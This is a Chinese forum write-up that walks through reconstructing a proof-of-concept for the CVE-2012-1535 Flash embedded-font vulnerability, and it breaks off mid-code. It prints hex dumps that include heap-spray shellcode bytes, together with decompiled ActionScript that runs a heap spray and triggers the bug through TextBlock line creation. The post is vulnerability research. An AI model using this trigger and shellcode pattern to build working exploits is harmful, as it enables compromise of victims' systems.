[原創]CVE-2012-1535 Flash解析特殊格式字型漏洞樣本構造分享

仙果發表於2012-10-27
題記:
很早就想寫這麼一篇分享,分享自己在構造CVE-2012-1535這一Flash 漏洞樣本過程中所遇到的一些問題和總結的一些心得。
之前有 古河 和 Wingdbg 兩位大牛兩篇漏洞原理的分析文章,我這篇就不從漏洞原理上進行闡述分析,主要說的是自己在分析構造樣本過程中的一些思路和方法,都是一些很簡單粗淺的東西,大牛看到也莫怪,權當茶餘飯後的資料。
古河:【原創】cve-2012-1535漏洞除錯分析(附樣本) :
http://bbs.pediy.com/showthread.php?t=154860
Wingdbg:【原創】CVE-2012-1535 Flash漏洞除錯筆記
http://bbs.pediy.com/showthread.php?t=155101
        看到了metazhou的一篇分析
【原創】Step by Step除錯CVE-2012-0158 POC
http://bbs.pediy.com/showthread.php?t=152407
與他們的文章結合起來就可以走完漏洞分析的過程,對從事漏洞分析有一定的幫助。最後容我發句牢騷:真心喜歡現在所從事的工作,祈求生活不要給我那麼大的壓力。
貌似我每次廢話都很多,現在開始正題:
分析環境:
Windows XP SP3 虛擬機器
010editor
Windbg
碩思閃客精靈

一        分析Flash Swf樣本
當拿到一個檔案格式方面的樣本時,自己的習慣不是去雙擊開啟它,而是使用010editor等十六進位制編輯工具開啟檔案,檢視檔案中是否有對分析有所幫助的資訊,或許能夠發現一些漏洞的蛛絲馬跡。這次就在十六進位制中發現了一些很奇妙的東西:
00D0h: 61 73 68 3C 2F 64 63 3A 66 6F 72 6D 61 74 3E 3C  ash</dc:format>< 
00E0h: 64 63 3A 74 69 74 6C 65 3E 41 64 6F 62 65 20 46  dc:title>Adobe F 
00F0h: 6C 65 78 20 34 20 41 70 70 6C 69 63 61 74 69 6F  lex 4 Applicatio 
0100h: 6E 3C 2F 64 63 3A 74 69 74 6C 65 3E 3C 64 63 3A  n</dc:title><dc: 
0110h: 64 65 73 63 72 69 70 74 69 6F 6E 3E 68 74 74 70  description>http 
	…..
01B0h: 3C 64 63 3A 64 61 74 65 3E 41 75 67 20 31 30 2C  <dc:date>Aug 10, 
01C0h: 20 32 30 31 32 3C 2F 64 63 3A 64 61 74 65 3E 3C   2012</dc:date>< 


從以上2段資料中可以得到以下資訊:
1        Flash Swf檔案是由某一款Flash 開發工具生成的,比較流行的是Flash CS系列、Adobe Flash Builder系列、以及其他一些編輯器,碰到最多的就是Flash CS。
2        Flash Swf 是在2012年8月10號建立的,時間很近,這時一個好現象。
此時自己嘗試使用Flash Builder 4.6編譯一個預設的SWF檔案與樣本SWF進行比較,發現使用樣本並是由Flash Builder 生成的。
接著往下進行分析:
0380h: 00 56 00 00 00 61 00 00 00 7C 41 64 6F 62 65 49  .V...a...|AdobeI 
0390h: 64 65 6E 74 69 74 79 52 65 78 6C 69 61 46 72 65  dentityRexliaFre 
03A0h: 65 2D 52 65 67 75 6C 61 72 56 65 72 73 69 6F 6E  e-RegularVersion 
03B0h: 20 31 2E 30 30 30 52 65 78 6C 69 61 20 69 73 20   1.000Rexlia is  
03C0h: 61 20 74 72 61 64 65 6D 61 72 6B 20 6F 66 20 54  a trademark of T 
03D0h: 79 70 6F 64 65 72 6D 69 63 20 46 6F 6E 74 73 52  ypodermic FontsR 
03E0h: 65 78 6C 69 61 20 46 72 65 65 2F 4F 72 69 67 46  exlia Free/OrigF 
03F0h: 6F 6E 74 54 79 70 65 20 2F 54 72 75 65 54 79 70  ontType /TrueTyp 
0400h: 65 20 64 65 66 00 CC 02 00 01 00 50 00 9F 00 A2  e def.?...P.??


認真分析這段資料可以發現,樣本Swf檔案中嵌入了一個字型檔案,而且可以看到相關的關鍵字,如下:AdobeIdentityRexliaFree-RegularVersion 1.000Rexlia is a trademark of Typodermic FontsRexlia Free/OrigFontType /TrueType def
以"RexliaFree"為關鍵字開啟百度進行搜尋,前3條連結中的一個:
http://www.fontke.com/font/10226295/
其中版權資訊:© 2008 Typodermic Fonts. This font is freeware. Read attached text file for details. Check out the rest of the Rexlia family and the OpenType version at Typodermic: http://www.typodermic.com ,與樣本中如下資料相對應:
C370h: C0 00 00 00 03 00 01 04 09 00 00 01 80 00 C0 28  ?..........€.? 
C380h: 63 29 20 32 30 30 38 20 54 79 70 6F 64 65 72 6D  c) 2008 Typoderm 
C390h: 69 63 20 46 6F 6E 74 73 2E 20 54 68 69 73 20 66  ic Fonts. This f 
C3A0h: 6F 6E 74 20 69 73 20 66 72 65 65 77 61 72 65 2E  ont is freeware. 
C3B0h: 20 52 65 61 64 20 61 74 74 61 63 68 65 64 20 74   Read attached t 
C3C0h: 65 78 74 20 66 69 6C 65 20 66 6F 72 20 64 65 74  ext file for det 
C3D0h: 61 69 6C 73 2E 20 43 68 65 63 6B 20 6F 75 74 20  ails. Check out  
C3E0h: 74 68 65 20 72 65 73 74 20 6F 66 20 74 68 65 20  the rest of the  
C3F0h: 52 65 78 6C 69 61 20 66 61 6D 69 6C 79 20 61 6E  Rexlia family an 
C400h: 64 20 74 68 65 20 4F 70 65 6E 54 79 70 65 20 76  d the OpenType v 
C410h: 65 72 73 69 6F 6E 20 61 74 20 54 79 70 6F 64 65  ersion at Typode 
C420h: 72 6D 69 63 3A 20 68 74 74 70 3A 2F 2F 77 77 77  rmic: http://www 
C430h: 2E 74 79 70 6F 64 65 72 6D 69 63 2E 63 6F 6D 00  .typodermic.com. 


現在推斷這個字型檔案,就是嵌入到Flash 漏洞樣本中的字型檔案,有可能是Flash 解析字型時解析不正確導致的漏洞,果斷下載此字型檔案,同時也下載了其他連結的字型檔案,透過比較後發現為同一檔案,沒有區別。
再接著往下看:
C820h: 49 41 4E 06 65 6E 64 69 61 6E 22 30 63 30 63 30  IAN.endian"0c0c0 
C830h: 63 30 63 30 63 30 63 30 63 30 63 30 63 30 63 30  c0c0c0c0c0c0c0c0 
C840h: 63 30 63 30 63 30 63 39 30 39 30 39 30 88 12 39  c0c0c0c909090?9 
C850h: 30 39 30 39 30 39 30 39 30 45 39 34 37 30 31 30  090909090E947010 
C860h: 30 30 30 43 32 38 46 33 36 44 38 41 30 44 46 31  000C28F36D8A0DF1 
C870h: 36 44 35 42 35 46 30 44 45 37 38 44 30 30 35 38  6D5B5F0DE78D0058 

這些資料很明顯就是漏洞觸發後定義的ShellCode了,對構造樣本來說關係不大,但對於漏洞除錯分析的話用處是非常大的,在這裡知道了ShellCode,可以在記憶體中有對應的斷點,然後分析。

二        還原構造初始樣本
現在回頭看看我們都知道什麼?
1        漏洞是由Flash Builder 編譯器生成的
2        疑似觸發漏洞的字型檔案:rexliafree.ttf
接下來該如何去做呢?
答案很簡單,嘗試去構造出一個簡單的能夠觸發漏洞樣本出來,這首先要面對一個問題,即如何把字型嵌入到Flash 當中,樣本是如何做的?
想知道這些就要嘗試針對樣本Swf進行反編譯處理,我用的是碩思,當然也可以用其他反編譯工具,效果是一樣的。
以下為反編譯程式碼片段:
        public function Main() : void
        {
            this.FontClass = Main_FontClass;
            this.heapSpray();
            this.TextBlock_createTextLineExample();
            return;
        }// end function


為主函式程式碼,從層次結構上看很明顯:FontClass之後,堆填充,最終
TextBlock_createTextLineExample()函式觸發漏洞。
觸發函式程式碼如下:
        public function TextBlock_createTextLineExample() : void
        {
            var _loc_1:String = "Edit the world in hex.";
            var _loc_2:* = new FontDescription("PSpop");
            _loc_2.fontLookup = FontLookup.EMBEDDED_CFF;
            var _loc_3:* = new ElementFormat(_loc_2);
            _loc_3.fontSize = 16;
            var _loc_4:* = new TextElement(_loc_1, _loc_3);
            var _loc_5:* = new TextBlock();
            new TextBlock().content = _loc_4;
            this.createLines(_loc_5);
            return;
        }// end function

        private function createLines(param1:TextBlock) : void
        {
            var _loc_2:Number = 300;
            var _loc_3:Number = 15;
            var _loc_4:Number = 20;
            var _loc_5:* = param1.createTextLine(null, _loc_2);
            while (_loc_5)
            {
                
                _loc_5.x = _loc_3;
                _loc_5.y = _loc_4;
                _loc_4 = _loc_4 + (_loc_5.height + 2);
                addChild(_loc_5);
                _loc_5 = param1.createTextLine(_loc_5, _loc_2);
            }
            return;
        }// end function


從程式碼中可以看到觸發漏洞的流程,根據關鍵的幾個函式能夠證實確實是Flash解析字型時觸發的漏洞,問題又來了,憑藉this.FontClass = Main_FontClass;這一句程式碼,如何嵌入字型?否則如何觸發漏洞,而字型檔案又確實嵌入到了Flash Swf檔案中。
認真想了想這個問題,記得使用Flash Builder 使用AS3 進行Flash 開發時, Flex可以使用Embed嵌入圖片(image)、影片(movice)、Mp3等,有三種嵌入資源的方式可供選擇,語法如下:
[Embed(parameter1,parameter2,...)] 後設資料 


摘自:《flex 關於Embed的應用 》
接著使用google搜尋以"as3 font"作為關鍵字,得到這麼一個網頁:
http://www.spikything.com/blog/index.php/2009/09/06/how-to-embed-fonts-in-pure-as3/
其中關鍵程式碼如下:
[Embed(source = '../fonts/myfont.ttf', fontName = 'MY_FONT',
fontWeight = 'regular', unicodeRange =
'U+000-                                        

相關文章